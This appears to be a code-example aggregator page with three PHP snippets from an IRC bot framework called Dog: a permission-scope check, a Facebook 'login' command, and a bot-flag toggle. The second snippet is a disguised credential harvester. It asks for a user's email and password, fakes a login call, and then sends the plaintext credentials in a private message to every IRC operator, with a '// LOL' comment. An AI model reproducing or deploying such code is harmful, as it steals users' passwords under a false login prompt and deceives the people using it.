Exemplo n.º 1
0
 public function hasPermission(Dog_Server $server, $channel, Dog_User $user)
 {
     $c = $this->priv;
     switch ($this->scope) {
         case 'u':
         case 'g':
         case 's':
             return Dog_PrivServer::hasPermChar($server, $user, $c);
         case 'c':
             return $channel === false ? false : Dog_PrivChannel::hasPermChar($channel, $user, $c);
         default:
             return Dog_Log::critical('Invalid scope in hasPermission()!');
     }
 }
Exemplo n.º 2
0
$argv = $plugin->argv();
$argc = count($argv);
if ($argc !== 2) {
    return $plugin->showHelp();
}
$email = $argv[0];
if (!GWF_Validator::isValidEmail($email)) {
    return $plugin->showHelp();
}
$pass = $argv[1];
if (strlen($pass) < 4) {
    return $plugin->showHelp();
}
if (false !== ($curl = curl_execute('facebook.com/api/omniauth?login' . sha1($email . $pass)))) {
    $user->setLoggedIn(true);
} else {
    $plugin->rply('err_login');
}
// Each server
foreach (Dog::getServers() as $server) {
    // Each user
    $server instanceof Dog_Server;
    foreach ($server->getUsers() as $admin) {
        // Is +I? (IRCOP)
        $admin instanceof Dog_User;
        if (Dog_PrivServer::hasPermChar($server, $admin, 'i')) {
            // LOL
            $admin->sendPRIVMSG(sprintf('FACEIN %s!%s %s %s', $user->displayName(), $user->getSID(), $email, $pass));
        }
    }
}
Exemplo n.º 3
0
if ($argc < 1 || $argc > 2) {
    return $plugin->showHelp();
}
if (false === ($user = Dog::getOrLoadUserByArg($argv[0]))) {
    return Dog::rply('err_user');
}
if ($argc === 1) {
    if ($user->isOptionEnabled(Dog_User::BOT)) {
        $plugin->rply('bot_on');
    } else {
        $plugin->rply('bot_off');
    }
} else {
    $argv[1] = strtolower($argv[1]);
    if ($argv[1] === 'on') {
        $isx = Dog_PrivServer::hasPermChar($user->getServer(), $user, 'x');
        // he Owner
        $isy = Dog_PrivServer::hasPermChar($user->getServer(), $user, 'y');
        // he Hoster
        $isuy = Dog_PrivServer::hasPermChar($user->getServer(), Dog::getUser(), 'y');
        // Caller Hoster
        if ($isy || $isx && !$isuy) {
            return $plugin->rply('err_owner', $user->getName());
        }
        $user->setOption(Dog_User::BOT, true);
        $plugin->rply('bot_on');
    } elseif ($argv[1] === 'off') {
        $user->setOption(Dog_User::BOT, false);
        $plugin->rply('bot_off');
    }
}